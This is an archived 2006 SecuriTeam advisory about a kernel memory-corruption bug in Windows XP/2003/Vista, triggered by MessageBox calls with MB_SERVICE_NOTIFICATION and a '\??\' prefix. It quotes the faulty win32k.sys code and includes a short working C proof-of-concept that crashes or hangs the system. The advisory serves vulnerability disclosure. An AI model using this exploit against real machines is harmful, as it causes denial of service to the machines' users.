

[NT] Memory Corruption on MessageBox with MB_SERVICE_NOTIFICATION and Question Marks

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-12/msg00051.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 21 Dec 2006 21:49:30 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Memory Corruption on MessageBox with MB_SERVICE_NOTIFICATION and Question Marks

SUMMARY

A problem in the way Windows XP/2003/Vista handles MB_SERVICE_NOTIFICATION messageboxes allows local attackers to cause the operating system to hang.

DETAILS

A message was published by NULL about vulnerability in Windows on processing MessageBox() with MB_SERVICE_NOTIFICATION flag and message/caption beginning with \??. Vulnerability seems to be memory corruption in kernel and causes system crash or hang after few attempts. It seems to happen because message is logged to event log and may point to some problem with event logs processing.

The problem is in win32k.sys' function GetHardErrorText, which tries to prepare EXCEPTION data for event log, and seems to be some very old debugging feature accidentally left in production code since Windows 2000.

In Windows 2000 there is a piece of code like:

[NT] Memory Corruption on MessageBox with MB_SERVICE_NOTIFICATION and Question Marks

```
} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\",  
4)) { strcpy( asLocal.Buffer, asLocal.Buffer+4 );
```

Exploit:

```
#include <windows.h>
```

```
int main(void){  
int i;  
char bug1 [] = "\\??\\XXXX";  
for(i = 0; i < 10; i ++)  
{  
MessageBox(0, bug1, bug1, MB_SERVICE_NOTIFICATION);  
}  
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:3APA3A@xxxxxxxxxxxxxxxxxxxx>>
3APA3A.

The original article can be found at:

<<http://bugtraq.ru/cgi-bin/forum.mcgi?type=sb&b=21&m=140672>>

<http://bugtraq.ru/cgi-bin/forum.mcgi?type=sb&b=21&m=140672>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.